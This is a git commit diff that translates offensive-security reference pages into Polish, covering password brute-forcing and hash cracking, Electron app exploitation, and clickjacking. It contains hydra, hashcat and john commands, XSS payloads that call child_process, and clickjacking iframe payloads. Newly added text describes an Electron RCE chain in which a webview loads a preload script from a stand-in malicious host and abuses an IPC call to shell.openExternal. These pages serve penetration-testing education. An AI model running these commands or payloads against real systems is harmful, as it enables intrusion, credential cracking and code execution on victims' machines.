Translated ['src/generic-hacking/brute-force.md', 'src/network-services-

This commit is contained in:
Translator 2025-03-09 14:22:31 +00:00
parent a1117b5137
commit 6941698796
5 changed files with 131 additions and 70 deletions

View File

@ -34,9 +34,16 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```
### Cewl
### Listy słów oparte na stronach internetowych
```bash
# Cewl gets words from the victims page
cewl example.com -m 5 -w words.txt
# Tok (https://github.com/tomnomnom/hacks/tree/master/tok) gets words from a list of URLs
cat /path/to/urls.txt | tok
# https://github.com/m4ll0k/BBTz/blob/master/getjswords.py gets words from a list of JS URLs
cat /path/to/js-urls.txt | python3 getjswords.py
```
### [CUPP](https://github.com/Mebus/cupp)
@ -144,7 +151,7 @@ legba http.basic --username admin --password wordlists/passwords.txt --target ht
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```
### HTTP - Formularz Post
### HTTP - Post Form
```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
@ -395,7 +402,7 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ
```
#### Słabe klucze SSH / Przewidywalny PRNG w Debianie
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być złamana za pomocą narzędzi takich jak [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Dostępne są również wstępnie wygenerowane zestawy słabych kluczy, takie jak [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
Niektóre systemy mają znane wady w losowym ziarnie używanym do generowania materiału kryptograficznego. Może to prowadzić do dramatycznie zmniejszonej przestrzeni kluczy, która może być łamana za pomocą narzędzi takich jak [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute). Dostępne są również wstępnie wygenerowane zestawy słabych kluczy, takie jak [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh).
### STOMP (ActiveMQ, RabbitMQ, HornetQ i OpenMQ)
@ -471,7 +478,7 @@ john zip.john
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```
#### Atak znany tekst zip
#### Atak na znany tekst jawny zip
Musisz znać **tekst jawny** (lub część tekstu jawnego) **pliku zawartego w** zaszyfrowanym zipie. Możesz sprawdzić **nazwy plików i rozmiar plików zawartych w** zaszyfrowanym zipie, uruchamiając: **`7z l encrypted.zip`**\
Pobierz [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) z strony wydań.
@ -506,7 +513,7 @@ pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```
### Hasło właściciela PDF
### PDF Owner Password
Aby złamać hasło właściciela PDF, sprawdź to: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/)
@ -544,7 +551,7 @@ hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
```
### Lucks image
#### Metoda 1
#### Method 1
Zainstaluj: [https://github.com/glv2/bruteforce-luks](https://github.com/glv2/bruteforce-luks)
```bash
@ -570,7 +577,7 @@ Inny samouczek Luks BF: [http://blog.dclabs.com.br/2020/03/bruteforcing-linux-di
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```
### Klucz prywatny PGP/GPG
### PGP/GPG Klucz prywatny
```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
@ -579,15 +586,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
<figure><img src="../images/image (663).png" alt=""><figcaption></figcaption></figure>
### DPAPI Master Key
### Klucz Mistrzowski DPAPI
Użyj [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py), a następnie john
Użyj [https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py](https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py) a następnie john
### Open Office Pwd Protected Column
### Ochroniona hasłem kolumna Open Office
Jeśli masz plik xlsx z kolumną chronioną hasłem, możesz ją odblokować:
- **Prześlij go na google drive**, a hasło zostanie automatycznie usunięte
- **Prześlij go do google drive** a hasło zostanie automatycznie usunięte
- Aby **usunąć** je **ręcznie**:
```bash
unzip file.xlsx
@ -628,7 +635,7 @@ kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction
```
### John mutation
Przeczytaj _**/etc/john/john.conf**_ i skonfiguruj go
Przeczytaj _**/etc/john/john.conf**_ i skonfiguruj to
```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
@ -689,7 +696,7 @@ hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
- Atak Wordlist + Mask (`-a 6`) / Mask + Wordlist (`-a 7`)
- Lista słów + Maska (`-a 6`) / Maska + Lista słów (`-a 7`) atak
```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
@ -701,7 +708,7 @@ hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
Cracking Linux Hashes - plik /etc/shadow
Łamanie hashy Linuxa - plik /etc/shadow
```
500 | md5crypt $1$, MD5(Unix) | Operating-Systems
3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems

View File

@ -1,4 +1,4 @@
# Aplikacje Desktopowe Electron
# Aplikacje desktopowe Electron
{{#include ../../../banners/hacktricks-training.md}}
@ -11,7 +11,7 @@ Zazwyczaj kod aplikacji electron można znaleźć wewnątrz aplikacji `.asar`, a
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleźć określony plik `main.js`, w którym ustawiane są konfiguracje zabezpieczeń.
W kodzie źródłowym aplikacji Electron, w pliku `packet.json`, można znaleźć określony plik `main.js`, w którym ustawione są konfiguracje zabezpieczeń.
```json
{
"name": "standard-notes",
@ -32,17 +32,17 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Ustawienia **procesu renderera** mogą być **konfigurowane** w **procesie głównym** w pliku main.js. Niektóre z konfiguracji **zapobiegną uzyskaniu RCE przez aplikację Electron** lub inne podatności, jeśli **ustawienia są poprawnie skonfigurowane**.
Ustawienia **procesu renderera** mogą być **konfigurowane** w **procesie głównym** w pliku main.js. Niektóre z konfiguracji będą **zapobiegać uzyskaniu RCE** lub innych luk w zabezpieczeniach, jeśli **ustawienia są poprawnie skonfigurowane**.
Aplikacja Electron **może uzyskać dostęp do urządzenia** za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec:
Aplikacja electron **może uzyskać dostęp do urządzenia** za pomocą interfejsów API Node, chociaż można ją skonfigurować, aby temu zapobiec:
- **`nodeIntegration`** - jest `wyłączone` domyślnie. Jeśli włączone, pozwala na dostęp do funkcji node z procesu renderera.
- **`contextIsolation`** - jest `włączone` domyślnie. Jeśli wyłączone, procesy główny i renderera nie są izolowane.
- **`preload`** - pusty domyślnie.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest wyłączone domyślnie. Ograniczy działania, które NodeJS może wykonać.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - jest wyłączone domyślnie. Ograniczy to działania, które NodeJS może wykonać.
- Integracja Node w Workerach
- **`nodeIntegrationInSubframes`** - jest `wyłączone` domyślnie.
- Jeśli **`nodeIntegration`** jest **włączone**, umożliwi to korzystanie z **API Node.js** na stronach internetowych, które są **ładowane w iframe** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **włączone**, pozwoli to na użycie **API Node.js** w stronach internetowych, które są **ładowane w iframe** w aplikacji Electron.
- Jeśli **`nodeIntegration`** jest **wyłączone**, wówczas preloady będą ładowane w iframe.
Przykład konfiguracji:
@ -95,9 +95,9 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Capture traffic
### Przechwytywanie ruchu
Zmodyfikuj konfigurację start-main i dodaj użycie proxy, takiego jak:
Zmień konfigurację start-main i dodaj użycie proxy, takiego jak:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
@ -123,7 +123,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Skrypt wskazany w tym ustawieniu jest **ładowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
Skrypt wskazany w tym ustawieniu jest l**adowany przed innymi skryptami w rendererze**, więc ma **nieograniczony dostęp do Node APIs**:
```javascript
new BrowserWindow{
webPreferences: {
@ -181,18 +181,18 @@ Jeśli na kliknięcie linku nałożone są ograniczenia, możesz być w stanie j
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
## RCE za pomocą shell.openExternal
Aby uzyskać więcej informacji na temat tych przykładów, sprawdź [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) oraz [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Podczas wdrażania aplikacji desktopowej Electron, zapewnienie odpowiednich ustawień dla `nodeIntegration` i `contextIsolation` jest kluczowe. Ustalono, że **wykonywanie zdalnego kodu na stronie klienta (RCE)**, które celuje w skrypty preload lub natywny kod Electron z głównego procesu, jest skutecznie zapobiegane przy tych ustawieniach.
Podczas wdrażania aplikacji desktopowej Electron, zapewnienie odpowiednich ustawień dla `nodeIntegration` i `contextIsolation` jest kluczowe. Ustalono, że **wykonywanie zdalnego kodu po stronie klienta (RCE)**, które celuje w skrypty preload lub natywny kod Electron z głównego procesu, jest skutecznie zapobiegane przy tych ustawieniach.
Po interakcji użytkownika z linkami lub otwieraniu nowych okien, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
Gdy użytkownik wchodzi w interakcję z linkami lub otwiera nowe okna, uruchamiane są określone nasłuchiwacze zdarzeń, które są kluczowe dla bezpieczeństwa i funkcjonalności aplikacji:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby wdrożyć własną **logikę biznesową**. Aplikacja ocenia, czy link, do którego nawigowano, powinien być otwarty wewnętrznie, czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana przez funkcję `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję `shell.openExternal`.
Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby wdrożyć własną **logikę biznesową**. Aplikacja ocenia, czy nawigowany link powinien być otwarty wewnętrznie, czy w zewnętrznej przeglądarce internetowej. Decyzja ta jest zazwyczaj podejmowana za pomocą funkcji `openInternally`. Jeśli ta funkcja zwraca `false`, oznacza to, że link powinien być otwarty zewnętrznie, wykorzystując funkcję `shell.openExternal`.
**Oto uproszczony pseudokod:**
@ -200,7 +200,7 @@ Te nasłuchiwacze są **nadpisywane przez aplikację desktopową**, aby wdroży
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnych treści za pomocą funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do [tego zasobu](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
Najlepsze praktyki bezpieczeństwa Electron JS odradzają akceptowanie nieufnej zawartości za pomocą funkcji `openExternal`, ponieważ może to prowadzić do RCE przez różne protokoły. Systemy operacyjne obsługują różne protokoły, które mogą wywołać RCE. Aby uzyskać szczegółowe przykłady i dalsze wyjaśnienia na ten temat, można odwołać się do [tego zasobu](https://positive.security/blog/url-open-rce#windows-10-19042), który zawiera przykłady protokołów Windows zdolnych do wykorzystania tej podatności.
W macos funkcja `openExternal` może być wykorzystana do wykonywania dowolnych poleceń, jak w `shell.openExternal('file:///System/Applications/Calculator.app')`.
@ -224,6 +224,27 @@ window.open(
)
</script>
```
## RCE: webviewTag + podatny preload IPC + shell.openExternal
Ta luka może być znaleziona w **[tym raporcie](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)**.
**webviewTag** to **przestarzała funkcja**, która umożliwia użycie **NodeJS** w **procesie renderowania**, co powinno być wyłączone, ponieważ pozwala na załadowanie skryptu w kontekście preload, jak:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Dlatego atakujący, który zdoła załadować dowolną stronę, mógłby użyć tego tagu do **załadowania dowolnego skryptu preload**.
Ten skrypt preload został następnie wykorzystany do wywołania **vulnerable IPC service (`skype-new-window`)**, który wywoływał **`shell.openExternal`**, aby uzyskać RCE:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
await ipcRenderer.invoke("skype-new-window", "https://example.com/EXECUTABLE_PATH");
setTimeout(async () => {
const username = process.execPath.match(/C:\\Users\\([^\\]+)/);
await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Downloads/EXECUTABLE_NAME`);
}, 5000);
})();
```
## Odczyt wewnętrznych plików: XSS + contextIsolation
**Wyłączenie `contextIsolation` umożliwia użycie tagów `<webview>`**, podobnie jak `<iframe>`, do odczytu i eksfiltracji lokalnych plików. Przykład pokazuje, jak wykorzystać tę lukę, aby odczytać zawartość wewnętrznych plików:
@ -268,9 +289,13 @@ W przypadku, gdy **regex** użyty przez funkcję jest **vulnerable to bypasses**
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
```
## Moduł zdalny
## `file://` Protocol
Moduł Electron Remote pozwala **procesom renderującym na dostęp do API procesu głównego**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Zwiększa to powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na luki, takie jak ataki typu cross-site scripting (XSS).
Jak wspomniano w [dokumentacji](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols), strony działające na **`file://`** mają jednostronny dostęp do każdego pliku na twoim komputerze, co oznacza, że **problemy XSS mogą być używane do ładowania dowolnych plików** z maszyny użytkownika. Użycie **niestandardowego protokołu** zapobiega takim problemom, ponieważ możesz ograniczyć protokół do serwowania tylko określonego zestawu plików.
## Remote module
Moduł Remote w Electronie pozwala **procesom renderującym na dostęp do API procesu głównego**, ułatwiając komunikację w aplikacji Electron. Jednak włączenie tego modułu wprowadza znaczące ryzyko bezpieczeństwa. Rozszerza powierzchnię ataku aplikacji, czyniąc ją bardziej podatną na luki, takie jak ataki cross-site scripting (XSS).
> [!TIP]
> Chociaż moduł **remote** udostępnia niektóre API z procesu głównego do procesów renderujących, nie jest łatwo uzyskać RCE tylko poprzez nadużywanie komponentów. Jednak komponenty mogą ujawniać wrażliwe informacje.
@ -304,13 +329,13 @@ import { dialog, getCurrentWindow } from '@electron/remote'
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- **Rejestruje** bieżący plik wykonywalny jako **domyślny handler** dla określonego **protokołu**. Możesz podać **niestandardową ścieżkę** i **argumenty**, jeśli to konieczne.
- **`app.setUserTasks(tasks)`**
- **Dodaje** zadania do **kategorii Zadań** w **Jump List** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
- **Dodaje** zadania do **kategorii Zadań** w **Liście Szybkiego Dostępu** (na Windows). Każde zadanie może kontrolować, jak aplikacja jest **uruchamiana** lub jakie **argumenty** są przekazywane.
- **`app.importCertificate(options, callback)`**
- **Importuje** **certyfikat PKCS#12** do systemowego **magazynu certyfikatów** (tylko Linux). **Callback** może być użyty do obsługi wyniku.
- **`app.moveToApplicationsFolder([options])`**
- **Przenosi** aplikację do **folderu Aplikacji** (na macOS). Pomaga zapewnić **standardową instalację** dla użytkowników Maca.
- **`app.setJumpList(categories)`**
- **Ustawia** lub **usuwa** **niestandardowy Jump List** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika.
- **Ustawia** lub **usuwa** **niestandardową Listę Szybkiego Dostępu** na **Windows**. Możesz określić **kategorie**, aby zorganizować, jak zadania pojawiają się dla użytkownika.
- **`app.setLoginItemSettings(settings)`**
- **Konfiguruje**, które **pliki wykonywalne** uruchamiają się przy **logowaniu** wraz z ich **opcjonalnymi ustawieniami** (tylko macOS i Windows).
```javascript
@ -319,9 +344,9 @@ Native.app.exit()
```
## systemPreferences module
Główne API do uzyskiwania dostępu do preferencji systemowych i emitowania zdarzeń systemowych w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault**wszystkie **częścią** tego modułu.
Główne API do uzyskiwania dostępu do preferencji systemowych i emitowania zdarzeń systemowych w Electron. Metody takie jak **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** i **setUserDefault****częścią** tego modułu.
**Example usage:**
**Przykład użycia:**
```javascript
const { systemPreferences } = require('electron');
@ -342,7 +367,7 @@ console.log('Recent Places:', recentPlaces);
### **getUserDefault / setUserDefault**
* **Interfejsuje** z **NSUserDefaults**, który przechowuje **preferencje** aplikacji lub **globalne** na macOS.
* **Interfejsy** z **NSUserDefaults**, które przechowują **preferencje** aplikacji lub **globalne** na macOS.
* **getUserDefault** może **pobierać** wrażliwe informacje, takie jak **ostatnie lokalizacje plików** lub **geograficzna lokalizacja użytkownika**.
@ -360,7 +385,7 @@ Aby uzyskać więcej informacji, sprawdź [https://blog.doyensec.com/2021/02/16/
Aplikacje Electron powinny mieć **Politykę Bezpieczeństwa Treści (CSP)**, aby **zapobiegać atakom XSS**. **CSP** to **standard bezpieczeństwa**, który pomaga **zapobiegać** **wykonywaniu** **niezaufanego kodu** w przeglądarce.
Zwykle jest **konfigurowany** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP wewnątrz **meta tagu**.
Zwykle jest **konfigurowany** w pliku **`main.js`** lub w szablonie **`index.html`** z CSP wewnątrz **tagu meta**.
Aby uzyskać więcej informacji, sprawdź:
@ -368,14 +393,14 @@ Aby uzyskać więcej informacji, sprawdź:
pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## **Narzędzia**
- [**Electronegativity**](https://github.com/doyensec/electronegativity) to narzędzie do identyfikacji błędów konfiguracyjnych i wzorców antybezpieczeństwa w aplikacjach opartych na Electron.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) to otwarty plugin VS Code dla aplikacji Electron, który wykorzystuje Electronegativity.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) do sprawdzania podatnych bibliotek stron trzecich.
- [**Electro.ng**](https://electro.ng/): Musisz to kupić.
- [**Electro.ng**](https://electro.ng/): Musisz go kupić.
## Labs
## Laboratoria
W [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) możesz znaleźć laboratorium do eksploatacji podatnych aplikacji Electron.

View File

@ -2,9 +2,9 @@
{{#include ../banners/hacktricks-training.md}}
## Co to jest Clickjacking
## Czym jest Clickjacking
W ataku clickjacking, **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online.
W ataku clickjacking **użytkownik** jest **oszukiwany** w celu **kliknięcia** w **element** na stronie internetowej, który jest albo **niewidoczny**, albo przebrany za inny element. Ta manipulacja może prowadzić do niezamierzonych konsekwencji dla użytkownika, takich jak pobieranie złośliwego oprogramowania, przekierowanie na złośliwe strony internetowe, udostępnienie danych logowania lub informacji wrażliwych, przelewy pieniędzy lub zakupy produktów online.
### Sztuczka z prewypełnieniem formularzy
@ -12,7 +12,7 @@ Czasami możliwe jest **wypełnienie wartości pól formularza za pomocą parame
### Wypełnij formularz za pomocą Drag\&Drop
Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie jakichś konkretnych informacji (jak e-mail czy konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
Jeśli potrzebujesz, aby użytkownik **wypełnił formularz**, ale nie chcesz bezpośrednio prosić go o wpisanie konkretnych informacji (jak e-mail lub konkretne hasło, które znasz), możesz po prostu poprosić go o **Drag\&Drop** coś, co zapisze twoje kontrolowane dane, jak w [**tym przykładzie**](https://lutfumertceylan.com.tr/posts/clickjacking-acc-takeover-drag-drop/).
### Podstawowy ładunek
```css
@ -34,7 +34,7 @@ z-index: 1;
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
```
### Wieloetapowy ładunek
### Multistep Payload
```css
<style>
iframe {
@ -91,17 +91,19 @@ background: #F00;
Jeśli zidentyfikowałeś **atak XSS, który wymaga, aby użytkownik kliknął** na jakiś element, aby **wywołać** XSS, a strona jest **vulnerable to clickjacking**, możesz to wykorzystać, aby oszukać użytkownika do kliknięcia przycisku/linku.\
Przykład:\
Znalazłeś **self XSS** w niektórych prywatnych danych konta (dane, które **tylko ty możesz ustawić i odczytać**). Strona z **formularzem** do ustawienia tych danych jest **vulnerable** na **Clickjacking** i możesz **prepopulate** **formularz** parametrami GET.\
Napastnik mógłby przygotować atak **Clickjacking** na tę stronę, **prepopulate** **formularz** ładunkiem **XSS** i **oszukać** **użytkownika** do **przesłania** formularza. Tak więc, **gdy formularz zostanie przesłany** i wartości zostaną zmodyfikowane, **użytkownik wykona XSS**.
Znalazłeś **self XSS** w niektórych prywatnych szczegółach konta (szczegóły, które **tylko ty możesz ustawić i odczytać**). Strona z **formularzem** do ustawienia tych szczegółów jest **vulnerable** na **Clickjacking** i możesz **prepopulate** **formularz** parametrami GET.\
Atakujący mógłby przygotować atak **Clickjacking** na tę stronę, **prepopulate** **formularz** ładunkiem **XSS** i **oszukać** **użytkownika** do **przesłania** formularza. Tak więc, **gdy formularz zostanie przesłany** i wartości zostaną zmodyfikowane, **użytkownik wykona XSS**.
### DoubleClickjacking
Po raz pierwszy [wyjaśnione w tym poście](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ta technika wymagałaby od ofiary podwójnego kliknięcia na przycisk na niestandardowej stronie umieszczonej w określonym miejscu i wykorzystania różnic czasowych między zdarzeniami mousedown a onclick, aby załadować stronę ofiary podczas podwójnego kliknięcia, tak aby **ofiara faktycznie kliknęła na legitny przycisk na stronie ofiary**.
Po raz pierwszy [wyjaśnione w tym poście](https://securityaffairs.com/172572/hacking/doubleclickjacking-clickjacking-on-major-websites.html), ta technika wymaga, aby ofiara dwukrotnie kliknęła przycisk na niestandardowej stronie umieszczonej w określonym miejscu, i wykorzystuje różnice czasowe między zdarzeniami mousedown a onclick, aby załadować stronę ofiary podczas podwójnego kliknięcia, tak aby **ofiara faktycznie kliknęła na legitny przycisk na stronie ofiary**.
Przykład można zobaczyć w tym filmie: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Przykład można zobaczyć w tym wideo: [https://www.youtube.com/watch?v=4rGvRRMrD18](https://www.youtube.com/watch?v=4rGvRRMrD18)
Przykład kodu można znaleźć na [tej stronie](https://www.paulosyibelo.com/2024/12/doubleclickjacking-what.html).
> [!WARNING]
> Ta technika pozwala oszukać użytkownika, aby kliknął w 1 miejsce na stronie ofiary, omijając wszelkie zabezpieczenia przeciwko clickjacking. Dlatego napastnik musi znaleźć **wrażliwe akcje, które można wykonać za pomocą tylko 1 kliknięcia, takie jak monity OAuth akceptujące uprawnienia**.
> Ta technika pozwala oszukać użytkownika, aby kliknął w 1 miejsce na stronie ofiary, omijając wszelkie zabezpieczenia przed clickjackingiem. Dlatego atakujący musi znaleźć **wrażliwe akcje, które można wykonać za pomocą tylko 1 kliknięcia, takie jak monity OAuth akceptujące uprawnienia**.
## Strategie łagodzenia Clickjacking
@ -114,17 +116,17 @@ Skrypty wykonywane po stronie klienta mogą podejmować działania, aby zapobiec
- Zapobieganie kliknięciom w niewidoczne ramki.
- Wykrywanie i informowanie użytkowników o potencjalnych próbach Clickjacking.
Jednak te skrypty frame-busting mogą być obejście:
Jednak te skrypty mogą być obejście:
- **Ustawienia zabezpieczeń przeglądarek:** Niektóre przeglądarki mogą blokować te skrypty w zależności od ich ustawień zabezpieczeń lub braku wsparcia dla JavaScript.
- **Atrybut `sandbox` iframe HTML5:** Napastnik może zneutralizować skrypty frame buster, ustawiając atrybut `sandbox` z wartościami `allow-forms` lub `allow-scripts` bez `allow-top-navigation`. To uniemożliwia iframe weryfikację, czy jest górnym oknem, np.,
- **Atrybut `sandbox` iframe HTML5:** Atakujący może zneutralizować skrypty frame buster, ustawiając atrybut `sandbox` z wartościami `allow-forms` lub `allow-scripts` bez `allow-top-navigation`. To uniemożliwia iframe weryfikację, czy jest górnym oknem, np.,
```html
<iframe
id="victim_website"
src="https://victim-website.com"
sandbox="allow-forms allow-scripts"></iframe>
```
Wartości `allow-forms` i `allow-scripts` umożliwiają działania w obrębie iframe, jednocześnie wyłączając nawigację na najwyższym poziomie. Aby zapewnić zamierzoną funkcjonalność docelowej witryny, mogą być konieczne dodatkowe uprawnienia, takie jak `allow-same-origin` i `allow-modals`, w zależności od rodzaju ataku. Wiadomości w konsoli przeglądarki mogą wskazać, które uprawnienia należy zezwolić.
Wartości `allow-forms` i `allow-scripts` umożliwiają działania w obrębie iframe, jednocześnie wyłączając nawigację na najwyższym poziomie. Aby zapewnić zamierzoną funkcjonalność docelowej witryny, mogą być konieczne dodatkowe uprawnienia, takie jak `allow-same-origin` i `allow-modals`, w zależności od typu ataku. Wiadomości w konsoli przeglądarki mogą wskazać, które uprawnienia należy zezwolić.
### Ochrona po stronie serwera
@ -149,7 +151,7 @@ Na przykład, poniższa CSP zezwala tylko na osadzanie z tej samej domeny:
`Content-Security-Policy: frame-ancestors 'self';`
Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji frame-ancestors Mozilli](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame-ancestors CSP](https://w3c.github.io/webappsec-csp/document/#directive-frame-ancestors) oraz [dokumentacji frame-ancestors CSP Mozilli](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors).
### Polityka bezpieczeństwa treści (CSP) z `child-src` i `frame-src`
@ -158,7 +160,7 @@ Dalsze szczegóły i złożone przykłady można znaleźć w [dokumentacji frame
#### Dyrektywa `frame-src`
- Definiuje ważne źródła dla ramek.
- Jest bardziej szczegółowa niż dyrektywa `default-src`.
- Bardziej szczegółowa niż dyrektywa `default-src`.
```
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
```
@ -189,7 +191,7 @@ top.location = self.location
```
#### Wykorzystanie tokenów Anti-CSRF
- **Walidacja tokenów:** Użyj tokenów anti-CSRF w aplikacjach internetowych, aby zapewnić, że żądania zmieniające stan są wykonywane celowo przez użytkownika, a nie przez stronę Clickjacked.
- **Walidacja tokenów:** Użyj tokenów anti-CSRF w aplikacjach internetowych, aby zapewnić, że żądania zmieniające stan są dokonywane celowo przez użytkownika, a nie przez stronę Clickjacked.
## References

View File

@ -1,8 +1,8 @@
# Normalizacja Unicode
# Unicode Normalization
{{#include ../../banners/hacktricks-training.md}}
**To jest podsumowanie:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/). Sprawdź szczegóły (obrazy pochodzą stamtąd).
